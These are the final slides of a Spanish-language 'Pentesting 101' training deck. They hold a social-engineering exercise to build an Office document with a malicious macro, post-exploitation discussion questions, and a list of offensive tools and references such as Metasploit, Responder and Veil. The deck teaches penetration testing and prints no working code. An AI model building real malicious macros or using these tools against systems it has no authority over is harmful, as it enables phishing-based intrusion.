● Crea un documento de Office con un macro maliciosoPráctica: Ataques de ingeniería social

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 103: Pentesting 101 por Paulino Calderon

● ¿Qué hacemos una vez que tenemos nuestra primera cuenta?

● ¿Qué información necesitamos recolectar en esta etapa?

Post explotación

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 104: Pentesting 101 por Paulino Calderon

● VMWare: http://vmware.com ● Virtualbox: http://virtualbox.com ● Kali: http://kali.org ● Wireshark: http://wireshark.com ● Nmap: http://nmap.org ● Metasploit: http://metasploit.com ● Responder: https://github.com/SpiderLabs/Responder ● Veil Framework: https://github.com/Veil-Framework/ ● Psploitgen: https://bitbucket.org/jsthyer/psploitgen ● Vulnhub: http://vulnhub.com/● Pentester Lab: http://pentesterlab.com/

#cat /etc/resources

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 105: Pentesting 101 por Paulino Calderon

● OWASP: https://www.owasp.org/index.php/Main_Page ● OSTMM: http://www.isecom.org/research/osstmm.html ● Penetration Testing Execution Standard: http://www.pentest-standard.

org/index.php/Main_Page

#cat /etc/resources

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 106: Pentesting 101 por Paulino Calderon

Paulino Calderón [email protected]

Twitter: @calderpwnWWW: http://calderonpale.com

#cat /etc/contact

Pentesting 101 Paulino Calderon Pale <[email protected]>

Page 107: Pentesting 101 por Paulino Calderon